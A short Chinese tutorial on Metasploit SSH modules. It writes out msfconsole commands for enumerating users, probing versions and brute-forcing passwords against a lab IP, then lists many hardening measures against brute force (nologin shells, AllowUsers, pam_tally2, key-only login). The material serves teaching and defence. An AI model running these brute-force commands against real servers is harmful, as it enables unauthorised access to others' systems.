文章

MSF

Metasploit Framework(简称MSF)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试, Shellcode编写和漏洞研究提供了一个可靠的平台,这个框架主要是由面向对象的Perl编程语言编写的,并带有由C语 言,汇编程序和Python编写的可选组件。

SSH模块

root@kali:~# msfconsole 
msf > search ssh

SSH用户枚举

msf > use auxiliary/scanner/ssh/ssh_enumusers 
msf auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.106.134 
msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist.txt 
msf auxiliary(scanner/ssh/ssh_enumusers) > run

SSH版本探测

msf > use auxiliary/scanner/ssh/ssh_version 
msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.106.134 
msf auxiliary(scanner/ssh/ssh_version) > run

SSH 暴力破解

msf > use auxiliary/scanner/ssh/ssh_login msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.106.134 msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt msf auxiliary(scanner/ssh/ssh_login) > run

暴力破解防御

1. useradd shell【推荐】 
    [root@tianyun ~]# useradd yangge -s /sbin/nologin 
2. 密码的复杂性【推荐】 
    字母大小写+数字+特殊字符+20位以上+定期更换 
3. 修改默认端口【推荐】 
    /etc/ssh/sshd_config Port 22222 
4. 限止登录的用户或组【推荐】 
    #PermitRootLogin yes 
    AllowUser yangge 

    [root@tianyun ~]# man sshd_config 
    AllowUsers AllowGroups DenyUsers DenyGroups 
4. 使用sudo【推荐】
5. 设置允许的IP访问【可选】 
    /etc/hosts.allow,例如sshd:192.168.106.167:allow 
    PAM基于IP限制 
    iptables/firewalld 
    只能允许从堡垒机 
6. 使用DenyHosts自动统计,并将其加入到/etc/hosts.deny 
7. 基于PAM实现登录限制【推荐】 
    模块:pam_tally2.so 
    功能:登录统计 
    示例:实现防止对sshd暴力破解 
    [root@tianyun ~]# grep tally2 /etc/pam.d/sshd 
    auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=6 
8. 禁用密码改用公钥方式认证 
    /etc/ssh/sshd_config 
    PasswordAuthentication no 
9. 保护xshell导出会话文件【小心】 
10. GRUB加密【针对本地破解】
License:  CC BY 4.0